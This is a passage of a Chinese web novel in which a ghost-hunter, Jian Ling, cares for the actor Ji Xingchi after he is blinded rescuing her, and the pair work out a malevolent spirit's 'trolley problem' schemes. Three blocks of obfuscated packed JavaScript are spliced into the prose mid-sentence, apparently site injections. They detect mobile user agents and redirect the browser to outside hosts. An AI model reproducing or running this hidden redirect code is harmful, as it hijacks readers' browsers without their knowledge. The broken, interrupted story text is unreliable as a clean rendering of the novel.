“你为什么被关起来呀？你的师……家长也不让你出去吗？” 逛了一圈回来，男孩正坐在地上抬头望向头顶唯一的透明天窗，小简灵也照着他的样子坐在旁边，双手托腮，好奇地问道。 男孩落寞地垂下眼睛：“没有原因，他们就是想把我关起来。” “那他们好坏啊。” “可能是要有新孩子了吧。”男孩仰头怔怔地看着头顶的一小片天空，那个女人的肚子已经越来越大了，应该很快就要生产了，那个风流的父亲对他也从来没有亲近过。 他很害怕。 想逃离这个家，去国外找生母那边的亲戚。 可就在他刚刚表露想法，那个女人却三天两头地挑刺找麻烦，时不时就找借口把他关禁闭。 今天更是错过了航班。 她是铁了心要将他捏在手里，或许折磨致死父亲都不会在乎。 “我叫简灵，你叫什么呀？”简灵不知道该怎么安慰他，挠了挠头，胡乱岔开话题。 男孩动也不动，眨了眨眼：“我叫星星。” “星星？”简灵睁大了眼睛。 很简陋的名字吧。 男孩暗自嗤笑了一声，以后自己一定连名带姓地改掉，取一个其他的名字。 可让他没想到的是，小简灵的双眼中竟然流露出一丝雀跃：“你的名字真好！” “嗯？” 她指着天窗，外面此刻已经是深夜了，零碎的星子散布在空中，闪着细碎的光芒。 “星星多好呀！”小简灵的语气中带着很诚恳的夸赞，掰着手指一个个细数着，“你看那些……天权北斗太白金星，星空卫星五角星，还有明星、球星……嗯……全都是闪闪发光的！你也是星星呀！” 星星抿了抿嘴唇，这个小女鬼还挺会安慰人的。 他很想问问她死了几年了，讲起道理一套一套的。 可又怕提起她的伤心事，毕竟看起来她比自己还小几岁，这么早夭，肯定很难过。 两个小朋友就这么并排坐着，一起通过那方小小的天窗看外面的星星，小女鬼说她认得许多星图，可天窗实在太小，玻璃又模模糊糊的，星子也看的不太清楚。 男孩永远记得那晚，小简灵笑眼弯弯的样子，就像是他在逼仄黑暗的地下室里唯一的一道星光。 天光将亮，小简灵要走了，两人约好了下次还在晚上偷偷见面。 “我们拉钩，约好了0点，不许迟到哦。” 两人的小手指虚空碰了一下，从对方的手心中穿了过去。 可他之后又被反反复复关进地下室很多次了，她却再也没有来过。 他学会了撬锁，也发现了那些小鬼们并没有伤害他的能力，逐渐变得越来越沉默，越来越冷漠，甚至还会对小鬼们冷言讽刺，噎得它们颇为无语。 直到他抓住一个机会，逃离了这个家，被经纪人一眼相中。 改名的时候经纪人询问他的意见，他想都没想，脱口而出：“季星迟。” 经纪人品了品这个名字，颇为满意地点点头。 季星迟继承了国际影星父亲的英俊外貌，掺了些生母柔和的眉眼，长大了之后更是展现出了惊人的演技天赋。 “星迟星迟……相信我，你就是娱乐圈一颗迟来的巨星！”经纪人两眼放光。 可季星迟沉默地垂下眼睑，取这个名字的意思只有他自己知道。 他的星星迟到了。 季星迟缓缓睁开眼，眼前依然一片黑暗。 * 简灵逐渐醒来，眼前是医院白色的天花板，她试图在被窝里扭动几下，全身上下像是被人暴揍了一样疼。 “嘶——”她轻哼一声，门口的谢慈敏锐的察觉到了，跟秦雨宁一起冲了进来。 “你终于醒了，我的姑奶奶！”秦雨宁一屁股坐在床边，眼圈红红的，像是好几天都没有好好休息过了。 简灵“嘿嘿”一声，慢慢挪动着坐起来，疼得龇牙咧嘴：“我睡几天了？” “三夜两天。”秦雨宁没好气道，见她紧张地向外张望，又补充道，“放心吧！没告诉你爸妈，不过你再不醒我就得给他们打电话了！” “别别……对不起啊雨宁姐，还有谢慈，辛苦你们了。”简灵诚恳地握住秦雨宁的手，“我爸知道了又得唠叨我让我别干了。” 秦雨宁一拍床沿，徉怒道：“你就该别干了！一个两个的，都喜欢逞什么英雄，不要命啦？！” 简灵急忙求饶，双手合十放在脸前朝她拜了拜：“对不起，下次一定注意。” 不过马上转念就想到了季星迟，敏锐地抓住了秦雨宁说的话：“季星迟呢？” 她记得在最后与时间赛跑的时候，季星迟带着轰鸣的摩托声带着她逃离了狸湘村，路上好像摔了一跤，但她那会儿几乎陷入昏迷，完全不记得后面发生了什么。 可听到她的话，秦雨宁和谢慈的表情很微妙地动了一下，两人对视一眼，谁都没敢开口。 她心中腾起一道不好的预感。 “他怎么了？”简灵一把抓住秦雨宁的手臂，盯着她的眼睛，“他在哪里？” 秦雨宁撇开脸：“在……隔壁病房。” 那就是没死？ 可除了死亡之外，人还会遇到很多很多种生不如死的情况，人就是这么脆弱。 简灵掀开被子，翻身下床，一时间浑身上下的骨头都像是被捏碎重铸了一遍，激得她脚下一软，差点摔倒在地上。 “慢点慢点，他没死。” 秦雨宁气急，慌忙伸手，幸好谢慈手快一把扶住了她。 “我去看看他。”简灵尽力让自己冷静下来，就在从自己病房跑到隔壁病房这几步路的时间，她的脑海中已经闪过无数画面。 如果季星迟缺胳膊少腿了怎么办？！ 如果季星迟还没醒来，成植物人了怎么办…… 如果他…… 她用力推开门，一个熟悉的身影站在窗前，季星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471720|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟穿着同款蓝白条病号服，背对着她，窗外的晨曦斜照打在他身上，镀了一层淡淡的金光。 像是……回光返照要上天堂了似的。 “呸呸呸。”简灵小声吐槽自己，睡了两三天脑子都睡迷糊了，幸好他没什么大碍。 她舒了一口气，身上还疼的要命，仍然故作轻松地走进去：“季星迟，你怎么样？谢谢你那天……” 季星迟听到了动静，缓缓转过身，让简灵还没说完的话骤然停留在嘴边。 只见季星迟那双在大屏幕上看狗都神情的眼睛里，如今却暗淡无光，眼神毫无焦距，只机械地向着声音看过来。 “季星迟……”简灵怀疑地揉了揉眼睛，慢慢走上前，伸手在他脸前晃了晃，“你的眼睛……？” 可是季星迟仍然准确地一把抓住她的手腕，嘴角弯起：“在我脸前扇风好玩吗？” 简灵愣了一瞬，他的瞳孔并没有聚焦到一处，立刻知道他只是凭感觉抓到的，眼睛是真的看不见了。 一股浓烈的愧疚感涌上心头。 “你不该来救我。”简灵微微垂头，眼眶泛红。 季星迟只拉着她，另一只手顺着她的胳膊摸了摸：“你的伤口好了么？我找到你的时候血流了一地……还好你还活着。” 简灵紧抿着嘴，攥紧了拳头，声音有些哽咽：“对不起。” “对不起什么，我又没死。”季星迟淡淡笑道，“况且你不是说即使我死了你也能带我去地府走后门，让我下辈子投胎个好人家。” 简灵的心脏被揪紧了。 她能抓恶鬼，能超度鬼魂，却对人类受到的伤害无计可施。 小佳一家被恶鬼吞噬，所以她努力学抓鬼。 祖母不知为何悄然自尽，所以她试图活的淡然些，独自生活，尽力让自己少被情感牵绊。 她没招了。 人类真的很脆弱。 季星迟是个演员，还是个年轻的影帝，前路是璀璨的星光大道。 似乎是感受到了简灵的难过，季星迟拉她摸索着在沙发旁边坐下，声音平静：“医生说我是头部受到重击，血块压迫神经导致的暂时性失明。” “所以还是有可能复明的？”简灵的眼睛里升起一丝希望。 季星迟“嗯”了一声，却忽然转了个话题：“简灵，那天你是不是想起来了。” 他的语气很笃定，让简灵没有糊弄的可能。 回忆里闪过一幕幕那夜在暴雨中的飞驰逃命的场景，简灵确实想起来了：“……对不起啊，我之前真的忘了，我小时候……” “没关系。”季星迟直截了当地打断了她的话头，他其实并不在乎原因，“现在想起来也不晚，你只是迟到了。” 简灵更加愧疚了。 当年他们明明约好的会再见面，商量怎么才能逃跑，可紧接着她就因为灵体出窍太久而受伤，脑部受到刺激，直接忘记了这件事情。 那会儿的小季星迟频繁地被后妈和亲爸关进地下室，也不知道小小年纪是怎么熬过来的。 简灵轻轻叹气，绞尽脑汁想着该怎么补偿季星迟，手指不停地抠着沙发，发出窸窸窣窣地声音。 虽然看不见，但季星迟能感受到面前的人情绪低落，那股子愧疚感都要冲破他的黑暗视野了。 “你放心。”简灵琢磨许久，坚定道，“反正我们现在住一起，在你眼睛恢复之前我来照顾你！我一定会对你负责的！” 他险些笑出声：“……好。” 41. 吴青的问题 简灵躺了三天，暴雨也下了三天，终于在天气逐渐转凉后才停了。 秋高气爽。 因为谢慈她们和救援人员的里应外合，当夜狸湘村的所有人都及时转移了，除了简灵和季星迟没有其他伤亡。 李音站在简灵身旁，怔怔地望着被泥水和碎石掩埋的狸湘村。 一整片村子连着原来的墓地都陷入泥泞，竟一时间看着很是陌生。 “她……还在么？”李音的声音很轻，眼神满含着期待到处找着什么。 简灵摇摇头：“已经走了。你们之后怎么说？” 狸湘村的每家每户都给了补贴，一些老人被儿女接走了，其他人也暂时得到了安置，倒是不用太担心。 只是狸湘村的修复工作可能还要一段时间，即使修整完了，也不会再有原来那样老村庄的味道了，影视综艺也不会再租用这里来拍摄，而李音没了帮剧组跑腿的活计补贴家用，也不知道怎么生活。 “我……”李音怔怔地说，“姥姥想让我重新去上学。” 政府要发补贴金的通知下来那天，李音和姥姥算了笔账，估摸了一下，等村里的房子修好了就可以回来住了，她会再出去找找零工，两人平日里也花不了什么钱，这笔补贴金倒是够花销很久了。 可姥姥却摸索着拉着她的手：“音音，你得去上学。” 简灵只点点头，顺势摸出手机：“华丹有个成人夜校还不错，我朋友在那儿上过，不耽误白天的工作，我可以把联系方式给你。” 之前林招芙离家出走后就是利用闲暇时间去上的学，还考了个证书，这种学习的学费不算很贵，李音她们家的补贴金完全负担得起。 李音愣了下：“我还能去读书吗？” “为什么不能？”简灵疑惑。 或许是出于对简灵的信任，李音难得露出了一丝赧然，不安地搓了搓衣角：“我都快20岁了……我也不适合读书……” 简灵不解地皱眉：“你怎么会认为自己不适合？” “当年家里穷，我们的小学搬到城里去了，我和乐乐得坐公交车去上学，还要吃饭……没读两年书就坚持不住了。”李音的眼角垂下，难过地回忆着，“后来有个阿姨说可以资助我们其中一个人上学，最后我俩中选择了乐乐。” “所以你觉得她是认为乐乐更适合读书，才资助的她？”简灵似乎没有料到，陷入沉思。 从种种迹象能看出来，吴青所做的每件事都似乎有她自己的想法，包括选择下手杀戮的人类。 现在看来她资助李乐乐读书，应该也是一种“选择”。 李音并不理解。 虽然让李乐乐去读书她也很高兴，毕竟谁的钱也不是大风刮来的，让对方赞助两个人也有道德绑架的嫌疑，可她的眼中流露出一丝失落和倔强：“乐乐比我小一点儿，又乖巧又机灵，让她去上学我跟姥姥也很开心。” “你还记得当时她是怎么说的吗？”简灵问道，“详细说说。” “怎么说的……”李音愣了一下，没想到简灵会关注这个，“没说什么吧，就说想资助乐乐上学，姥姥听了很高兴，就让乐乐谢谢她……” 当时谁也没想到这个看起来很有钱的女士牵着乐乐找上门，竟然是专门为了谈资助的事情而来。 姥姥听完很高兴，急忙摸索着拉住乐乐：“你以后可要好好学习啊，将来才能报答阿姨，报答你的爸妈。” 才不到十岁的李乐乐哪里懂得这些场面话，只皱了皱鼻子，怯生生地反驳：“我不要。” 李音一怔，伸手想拦住她，慌慌张张地看了一眼资助人。 “我上学，是因为我想上学。”李乐乐拨开李音的手，稚嫩的脸上一本正经，“不是为了爸爸妈妈和阿姨学的。” 姥姥赶紧轻轻拉她一下：“童言无忌，童言无忌……” 本以为资助人会生气，没想到那位看起来优雅高冷的女士竟笑了：“倒也不必跟小孩子讲这些虚伪的道理。” 简灵若有所思：“就这样？” “就这样吧。”李音想了想，“后来她就走了。” “听起来倒还像个好人。” “……根本不是！”李音抿住嘴角，满脸愤怒，“我本来也是这么以为的，可她原来根本不关心乐乐，她跟那些强行买地的人是一伙的。” 简灵心里一咯噔，疑惑问道：“你怎么知道她们是一伙的？” 原来李乐乐死后，吴青还来过一次，听完李音完全主观的表述和指责，她也只是淡淡地点头，表示知道了。 直到离开，李音甚至都没在她脸上看到一丝对乐乐的死的遗憾与难过。 也是，本来也是两个不想干的陌生人，这些虚伪的有钱人，什么资助……只是找一个可以投放自己同情心的渠道吧！ 李音越想越委屈，抹了一把泪，追出去想问问资助人能不能帮乐乐讨回公道……连村长都劝她和姥姥想开点，她是真的没有办法了！ “……可我亲眼看到她跟那个杀人凶手一起上了车。” * 简灵送走李音，若有所思地向外走，忽然手机响了。 她刚接起来就看到了不远处停着一辆黑色的保姆车，车门大开着，季星迟捏着手机正往车外看。 他带着丝丝冰冷的声音从听筒那边传出来：“今天我出院你还记得吗？” 今天本来说好了两人一起回家，可季星迟在病房里左等右等，都没等到简灵过来找他。 还是保镖兼助理的墨镜哥看出了他的心思，小心地告知了简灵一大早就出去了的事情。 季星迟听完没有说话，可墨镜哥看到他抿紧了嘴角，脸色变得极差。 完了，老板生气了。 幸好他机智，提前留了谢慈的手机号，才知道简灵是去了狸湘村。 明明季星迟现在什么都看不见，可当那双古井无波的眼睛转到这边的时候，简灵还是心虚地瑟缩了一下肩膀。 “……对不起。”简灵快步走过来，老实地道歉，“听说李音过来了想联系我，我一下子忘记了。” 季星迟微微板着的脸在听到她靠近后立刻融化了。 “回家。” 上了车，季星迟一言不发。 可简灵并没有察觉到季星迟的情绪问题，手肘靠在车窗上，拖着腮帮子思考着李音说的话，满脑子都是吴青和于昊的事情。 墨镜哥开着车，眼睛借着墨镜的掩饰不停地通过后视镜瞧着两人。 一个人托腮陷入沉思，满脸严肃。 一个人抱臂嘴角紧抿，一言不发。 哎，一个木头，一个蘑菇。 “唉。” 季星迟很轻地叹了口气，主动扭过头来问她：“你今天又见到那个被资助小女孩的姐姐了？她怎么说的。” “嗯？”简灵回过神来，将李音说的事情告诉了他，“她说当时吴青在狸湘村里就见过于昊，甚至还主动邀请于昊上车详谈。” “具体发生了什么？” 简灵的神情有些怔忡，显然也没明白：“吴青问他，为什么非要买狸湘村这块地。” “还有什么理由么？”季星迟微微歪头，“无非就是这块区域有投资价值，而买下来打造影视区附属很有得赚。” “我们自然是这么想的，但于昊应该以为吴青是个好糊弄的富二代，是块肥肉，所以理由给的冠冕堂皇。” 当时的于昊大概见吴青是个人傻钱多的，便吹嘘开发这块地对影视城以及整个华丹的影响有多么大，发展会有多么好，李音记不得于昊具体怎么说的了，反正好像拿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听到这话，简灵加大了力气拖着季星迟往前走了几步，将他一屁股扔在沙发上，赶紧凑到谢慈旁边去看。 “欸欸……”季星迟无奈。 谢慈对电子产品都很感兴趣，现在对手机平板的基础用法已经很熟悉了，熟练地点了几下，指着长长的pdf其中一处。 “前面的事情我们之前大概都知道了，所以我重点看了一下姚琼英女儿的情况。” 简灵一目十行快速浏览着：“姚琼英的女儿得了免疫性疾病，需要长期化疗，治疗费是笔天价，而且最重要的是一直没有配型成功的捐献者。” 但秦雨宁托人找到她以前的经纪人问到，原来在姚琼英死前曾经通过一个慈善机构获得了捐款，并引荐了不少主动捐献者，其中不乏配型成功的。 可姚琼英最后拒绝了。 “就在她拒绝后没多久，她的经纪人就报警了。”简灵皱起眉头，“不该报失踪吗？为什么她跟警察报的是姚琼英有危险。” 季星迟想了想：“好像之前提到过……当时因为这个理由太像编的，谁都没信。” 说着他把手机递给简灵，让她找到相册里的最新视频，那是一段经纪人在姚琼英家的监控视频。 视频中经纪人开门进来，她不止一次过来找人，可姚琼英却始终没有再出现。经纪人在沙发上枯坐了很久，终于还是下定决心打电话报警。 “……喂，我要报警。” “是我的艺人姚琼英，对，就是那个演员。” “前几天她接到一个打着慈善机构名义的电话，说找了几个替死鬼，可以帮她女儿换血……那个机构可以提供所有的费用和换血人，只问她愿不愿意。” “是很诡异！但都是真的！她还去找负责人问了，回来跟我说那肯定是个黑市交易市场。” “现在她失踪了，我怀疑她遇到了危险！” 42. 吃一碗泡面 “慈善机构？黑市交易？”简灵听得很懵，不怪警方都很难相信，这理由听着就很中二，很像小孩子编造的。 “是的。”季星迟点头：“而且即使真的存在所谓‘黑市交易’，那对方既不要钱，甚至免费提供血源，只问她愿不愿意，谁会做这种莫名其妙的事？除了……恶鬼。” 简灵倏地转头看他：“你的意思是……吴青的慈善机构？等等！” 一时间，所有的线索都似乎在无形中汇聚成了一股清晰的流水。 她一把抓过茶几上的水果盘，从中摘下一颗颗葡萄，以绕圈的方式围绕着其中一颗葡萄展开：“这是吴青。” 吴青选择于昊时，问他狸湘村怎么办，而无论于昊心里是怎么想的，嘴上给出的理由是牺牲小我。 选择姚琼英时，让她在自己的女儿和提供血源的替死鬼、也就是无辜人之间做选择，姚琼英或许是害怕被骗，也或许是不忍心用别人的命换女儿的命，选择了拒绝，女儿最终还是病死了。 “……甚至对于李乐乐，也是一种主观的选择。” 李乐乐作为一个不懂得大是大非的小朋友，一心只想着自己，想着外婆和姐姐李音，对陌生的父母甚至村民们持着一种无所谓的态度。 “她好像……”季星迟懂了，无神的瞳孔中也闪烁着一丝惊讶，“在给别人做电车难题。” “电车难题是什么？”谢慈皱眉问道。 “就是假如你可以掌控电车的行驶方向，往左，是撞死一个人，往右，是撞死五个人、十个人甚至更多人。”简灵看向她，“而且你无法让车停下，只能选择左，还是右。” 谢慈震惊，怎会有如此恶毒的选择题？ 可转念一想，吴青好像真的让人在“小我”与“大我”之间做选择，无论过程如何，无论本身是怎么想的，她只看最终的结果。 “她…她这是……”谢慈很难评价吴青的行为。 而简灵垂下眼睑，平静地盯着屏幕，语气中却透出一丝愤怒：“她是想造神。” * 夜深了。 简灵睡不着，窝在沙发上静静地看着洗手间的那面全身镜。 在她的视角中，镜子散发着模模糊糊的光，浓郁的鬼气被锁住，空气中只有一些稀薄的鬼气外泄，只不过有简灵坐镇，附近一般的小鬼们也不敢靠近这边。 可那只附身于吴青的恶鬼依然不见踪影。 接连几天的折腾让简灵身心俱疲，她仰躺在沙发上轻轻叹气。 好累，想退休。 忽然，听到二楼有窸窸窣窣的声音，在寂静的深夜里格外明显，还有什么东西磕碰了下，传来闷闷的撞击声。 她上了半层楼，抬头向上看，只见季星迟正摸索着墙壁在楼梯口慢慢走着，脚尖时不时轻轻撞几下墙角，以确认自己的方向。 “季……” 简灵刚要出声，季星迟已经握着扶手，抬脚下楼，眼见着就要踩空。 “小心！”简灵三两步冲上去一把扶住季星迟，他茫然的脸上闪过一丝明显的慌乱，手臂在空中胡乱抓着。 触碰到简灵的肩膀时，季星迟急促地呼吸了几下才平静下来，落寞地垂下眼睑：“……谢谢。” 简灵看了看他身后，小声道：“你要下楼么，怎么不喊醒阿泰？” “他也辛苦一天了，好不容易才睡下。”季星迟的声音很轻，几乎在简灵的耳边呼气，语气中带着几分狼狈，“我只是有点饿了，想看冰箱有没有吃的。” 很少很少在季星迟的脸上看到这种神情。 娱乐圈的季星迟几乎是一个完美的人。 矜贵的外表，影帝的实力，似乎做一切事情都游刃有余。 对于简灵来说，她能接触到的被随意地分为两种类型：鬼，和人类。 她尽力和人类保持着君子之交，即使是对父母、对秦雨宁，也是一种克制的亲密关系，更别说是季星迟了，跟她的灰色世界本应是没有交集的。 刚开始入门玄学的时候，她跟着简易看了点书，书上说这种人叫做六亲缘浅，那时的简灵还是个初出茅庐的小屁孩，偶尔还会冒出一些拯救世界的幼稚情绪。 看吧，被选中的英雄就该是孤独的。 小简灵当时这样想着。 随着时间的推移，她才知道自己只是害怕，害怕失去小佳，害怕自己有一天会像祖母那样悄然离去，于是干脆就把自己与其他“人类”划清界限，用阴差这个身份给自己造了一幢透明的房子。 可当年的季星迟却粗暴地闯进了她的世界，她不知道该如何应对，所以干脆就不应对。 如今恢复了记忆才知道，明明是自己一开始先闯入了那个昏暗的地下室，却又直截了当地抛弃了他。 当年的小星星在她消失后，是不是也像现在这么狼狈？ 可在她想起来的那个瞬间，他依然出现在了她的面前，甚至还因为她致盲。 察觉到了对方的沉默，季星迟不解，轻声喊她：“简灵？” 简灵强压下心中愧疚，抿起嘴角别开脸：“走吧，我扶你下去。” “好。” 季星迟落后一层阶梯，慢慢地跟着她下楼，嘴角浮起一抹淡淡的笑意。 把季星迟放在桌边坐好，简灵拉开空空如也的冰箱：“很遗憾，阿姨打扫的太干净了，没有什么剩饭可以吃。” “那就喝点水吧。”季星迟无奈道。 简灵思索片刻：“要不煮个泡面？你能吃吗，你们明星不是都很注重身材管理来着，宁宁姐从来都不吃泡面，说吃了会水肿，上镜不好看。” “能吃。”季星迟指着自己黯淡无神的眼睛，笑了下，“我都这样了，还需要注重什么身材管理，说不定后半辈子都是个盲人了。” “呸。”简灵啐了一口，“哪有这么咒自己的。” 说完拿着两袋泡面进了厨房，一阵窸窸窣窣的声音后，没多久就飘出了喷香的泡面味。 泡面这东西就是吃多了很腻，但真饿的时候又香极了，肚子里的馋虫全都能被勾出来。 季星迟摸着肚子，本来他只是听到简灵没睡，想制造点动静，这会儿闻着香味倒是真感觉有些饿了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16516955|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心烫。”简灵把筷子塞进季星迟手里，捏着他左手的手腕，引导他摸到碗边，“翻了下厨房只有鸡蛋了，连火腿肠都没有，将就垫垫肚子吧，明早阿姨来做早饭。” 季星迟跟简灵一样，是个食欲很低的人，平时天天都是简单的白人饭，也因为经常临时要飞去外地赶通告，所以冰箱里一般也不留剩菜，要吃的话每天买新鲜的现做就好。 可今晚就吃了一口泡面，他的食欲比以往都要好，陡然间觉得人活一世，不多吃点好吃的仿佛白活了一样。 明明只是一晚普通的泡面，是他在国外寻亲碰壁漂泊无定时，每天吃到吐的东西。 “明天让阿姨多做点菜式。”季星迟说完埋下头，继续吃面。 简灵愣了一下，皱了皱鼻子，刚才心里那股子浓烈的愧疚感突然减淡了一些。 泡面有这么难吃吗？ 大少爷真难伺候。 两人安静地吃了一会儿，季星迟像是才想起来，忽然问道：“你今天怎么这么晚还没睡？” 可简灵只是叹了口气，没说话。 “还在想恶鬼的事？” 她闷闷地“嗯”了一声：“吴青这个皮囊没用了，这几年它如果是刻意躲起来……想找它简直是大海捞针。” “恶鬼似乎都有自己的一套原则。”季星迟放下筷子，想了一会儿，“或许这几年它依然在持续杀人，只是我们不知道而已。” “你还见过别的恶鬼？”简灵疑道。 季星迟的表情顿了一下：“没有，只是从这个行为推测，感觉它们的智商很高。” “确实如此，恶鬼大多是从地府逃出来的，它们因为死前的遭遇不同，对于这个世界和他人的看法也不同，多少有些扭曲，所以你也可以说它们各有一套自己的原则。” “吴青这个问题……如果是你，会怎么选择？”季星迟突然问道，“如果另一边是你的一个亲人、一个朋友，或者是你自己，另一边是很多其他人，你怎么选择？” 简灵沉默着喝了最后一口汤，舔了舔嘴唇，半晌往椅背上一靠，不屑地“切”了一声：“我选小我。” 她伸了个懒腰，像一只吃饱喝足的猫，双臂舒展到身后： “当然我不是顺着吴青的思路走啊，我只是懒得管什么‘大我’。就像现在的普通人，大家生活负担那么重，压力那么大，每天在生存和生活中挣扎都已经快要累死了，哪还能管得了什么海洋环保、什么救国救民的……活着就已经很不容易了。” 季星迟的眼睛静静地望着面前的方向，他看不见，但能听出简灵语气中的故作轻松。 他毫不留情地拆穿：“但当时你在狸湘村，为什么撤离的那么迟？” “……当时哪想的了那么多。”简灵瞥了一眼他的碗，“吃完没，吃完收了。” “吃完了，很好吃。”季星迟双手摸着碗边，轻轻向前推，“谢谢。” 简灵稳稳地端起两个碗起身，突然停下脚步，扭头问他：“那你呢，你会怎么选？” “跟你一样。”季星迟微笑着偏头，“我选‘小我’。” 43. 守墓人方爷爷 几场秋雨下来，天气逐渐转凉，躁动的夏天总算是过去了。 秋风阵阵，凉爽而干燥，人的心也跟着平静下来。 没有工作的日子，简灵就在家守株待鬼，难得地享受了一段悠闲的时光。 说着悠闲，其实季星迟也给她找了不少事儿。 一会儿说想研究一下之前送来的剧本，让简灵念给他听。 一会儿说想看看新的电影，让简灵陪他一起，顺便帮他讲解讲解。 一会儿又说想去花园里吹吹风，简灵抓了抓头发：“整个别墅里恒温恒湿新风换气，外面风大又凉，别去了吧。” 季星迟：“你知道的，我从小就被关在地下室，平时最向往的就是自……” “去去去，走！”简灵从沙发上蹦起来，扶着他的胳膊往外走，按照这段时间季大少爷折腾人的能力，如果不去他又得露出落寞无助的表情博取她的同情。 简灵龇牙咧嘴，这家伙绝对是故意的吧？ 不过好在季星迟眼睛的情况恢复得很好，现在已经逐渐能看到些模糊的东西了，据他说应该是比上千度的近视摘掉眼镜还要模糊一些。 起码比睁眼瞎要强得多。 简灵小心扶着季星迟在花园里转悠，他摸索着眼前的色块，手指在微微泛黄的灌木丛上逡巡：“好像打理过了。” “嗯。”简灵点点头，“阿泰有时候闲着没事干，会在你午睡的时候来剪剪树杈子，没想到他还挺会弄这些的。” 季星迟微微笑着：“他在给我当助理之前就喜欢种花种草的，可惜我太忙了，他经常得跟着我到处飞，久而久之家里那些花草也得不到照顾，说是都搬去他父母家养着了。” “那挺好，这花园反正平时也没怎么打理，他喜欢就让他玩儿呗。” 简灵漫不经心地跟他聊着天，忽然一把抓住他的手：“诶，别！” “怎么了。” “有虫。” 季星迟老老实实地“哦”了一声，移开视线，发现门口似乎有两个形似人的色块：“阿泰？” 那两个色块动了动，其中一人喊道：“简灵！” “招芙姐？左毅？”简灵轻轻拉了一把季星迟，示意他回去，“你们怎么来了？” 左毅本是不想来的，架不住林招芙嫌他犟种，硬将他一起拖来了。 他的目光从进院子开始就停留在了简灵的身上……应该是说停在了简灵扶着旁边男人的手上。 见到林招芙和自己，她如往常一样欣喜地挑起眉，伸手打招呼。 左毅轻轻点头：“简灵，打扰了。” 旁边的季星迟忽然开口截住了简灵的话头，微微低下头，像是完全不在意旁人的目光，轻声问道：“是你的朋友吗？” 简灵“嗯”了一声，给他们互相介绍了下，季星迟一副主人的模样，笑容可掬地请他们进屋。 左毅落后一步，望着两人几乎贴在一起的背影，像是一对互相扶持的爱人那般自然。 * “你们怎么一起来了，平安不要了？”简灵调笑道。 “最近淡季，没什么死人。”林招芙冷冷道，克制地环顾一圈大客厅，“就你们两个人，一起住？” “当然……不是。”季星迟接话，笑着喊来阿姨倒水。 简灵“哦”了一声：“他助理去买东西了，还有谢慈，今天去片场当武指去了。” 她顿了顿，觑了一眼古怪氛围的两人：“整个平安就你俩干活的，主任竟然能放你们一起出来啊？” 刚才林招芙也看到了简灵和季星迟的微妙关系，只无奈地白了一眼左毅：“还不是因为他。” 左毅的脸色紧绷。 “怎么了这是？”简灵好奇，林招芙虽然脾气暴躁，是个冷酷的殡仪馆西施，但平时对老老实实干活的左毅还是好脸色的。 “他心里装着事儿！跟个闷葫芦一样好几天了，我让他过来找你帮忙，他又死倔不肯找。” 简灵望向左毅，关心道：“怎么不给我打电话啊，我跑一趟呗。” “你最近……好像很忙。”左毅的眼神迅速扫了一眼坐在窗边单人椅上的季星迟，“怕太麻烦你了。” “什么时候跟我还这么客气了。”简灵莫名其妙，“到底什么事，快说。” 迟疑了片刻，左毅才沉声道：“方爷爷去世了。” 简灵一怔：“……节哀。” 上次见到那个瘦小的守墓人老头还是带着苏靖希去捉鬼的那会儿，没几天就听林招芙说方爷爷应该是中风了，虽然暂时没什么生命危险，不过肯定不适合再干守墓的活儿。 方爷爷无儿无女，跟左毅倒是情同父子。 左毅小时候父母双亡，亲戚们都说他是个专克亲人的硬命，不愿意收留他，只有方爷爷可怜他，将他领回家相依为命。 爷俩都是不爱吭声的闷葫芦性格，在左毅大学的时候，方爷爷在外面的小工地做工，被工友霸凌得很惨，常常刚拿到的热乎工资就被抢去了一半。 为了死死守着钱，他挨了很多打，不敢报警，怕闹大了让左毅在学校里难堪。 可还是被他发现了。 左毅无意中发现了方爷爷满身的伤痕，怒从心底起，摸了把菜刀闷声闯到小工地上跟那些人打了一架，脖子上的伤也是那会儿留下的，差一点就割到颈动脉了。 几个欺软怕硬的工友连滚带爬地将染血的钱都还给了他。 当然，东窗事发，左毅也被退了学。 后来兴许是看到了平安在招工，颈上还缠着绷带的左毅就这么领着方爷爷上了山。 彼时简灵正好也在，她看了一眼安置好方爷爷掉头就走的左毅，出声喊他：“你就这样把你爷爷扔这儿了？” 左毅的脚步顿了顿，他没有生气，只是很平静地说：“我命硬，会克死他。” “哈？”简灵当时初出茅庐，也算是年轻气盛，只觉得自己听到了世界上最好笑的借口，冷笑一声，“命硬的人神鬼都不惧，刚直不易折，倒是第一次听到用这个借口抛弃亲人的。” 左毅缓缓扭头，看着比他低一个头的小姑娘对他冷冷地吐出一句“懦夫”。 反正也退学了，左毅也就干脆也留在了平安，一个当了守墓人，一个搬搬遗体烧炉子，爷俩两个闷葫芦，倒也很适合在殡仪馆工作。 方爷爷终究是年纪大了。 “没什么，他是在睡梦中 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“不是临终前的回光返照的话……”简灵蹙眉，“那会不会是得了老年痴呆症，说胡话呢？” 养老院中患有阿兹海默的老人不在少数。 